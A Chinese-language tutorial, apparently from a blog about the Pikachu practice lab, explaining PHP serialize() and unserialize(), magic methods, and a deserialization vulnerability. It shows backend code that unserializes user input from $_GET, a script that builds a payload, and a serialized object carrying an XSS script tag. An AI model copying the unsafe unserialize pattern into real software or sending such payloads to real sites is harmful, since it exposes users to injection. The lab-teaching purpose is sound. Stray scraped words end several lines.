在理解這個漏洞前,你須要先搞清楚php中serialize(),unserialize()這兩個函數。php
序列化serialize()
序列化說通俗點就是把一個對象變成能夠傳輸的字符串,好比下面是一個對象:後端
class S{ public $test="pikachu"; } $s=new S(); //建立一個對象 serialize($s); //把這個對象進行序列化 序列化後獲得的結果是這個樣子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";} O:表明object 1:表明對象名字長度爲一個字符 S:對象的名稱 1:表明對象裏面有一個變量 s:數據類型 4:變量名稱的長度 test:變量名稱 s:數據類型 7:變量值的長度 pikachu:變量值
反序列化unserialize()安全
就是把被序列化的字符串還原爲對象,而後在接下來的代碼中繼續使用。xss
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}"); echo $u->test; //獲得的結果爲pikachu
序列化和反序列化自己沒有問題,可是若是反序列化的內容是用戶能夠控制的,且後臺不正當的使用了PHP中的魔法函數,就會致使安全問題函數
常見的幾個魔法函數:
__construct()當一個對象建立時被調用
__destruct()當一個對象銷燬時被調用
__toString()當一個對象被看成一個字符串使用
__sleep() 在對象在被序列化以前運行
__wakeup將在序列化以後當即被調用
漏洞舉例:this
class S{ var $test = "pikachu"; function __destruct(){ echo $this->test; } } $s = $_GET['test']; @$unser = unserialize($a); payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
1.這裏有個接口能夠接受一個反序列化的對象,下面是後端代碼spa
2.咱們能夠利用類似的代碼生成一個反序列化的字符串code
<?php class S{ var $test = "<script>alert('xss')</script>"; } echo '<br>'; $a = new S(); echo serialize($a); ?>
3.訪問上面的 php 文件,查看源碼,複製 echo 的內容對象
4.提交下面的 payloadblog
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
反序列化的結果是一個 JS 的彈窗,咱們提交後就能進行 XSS 攻擊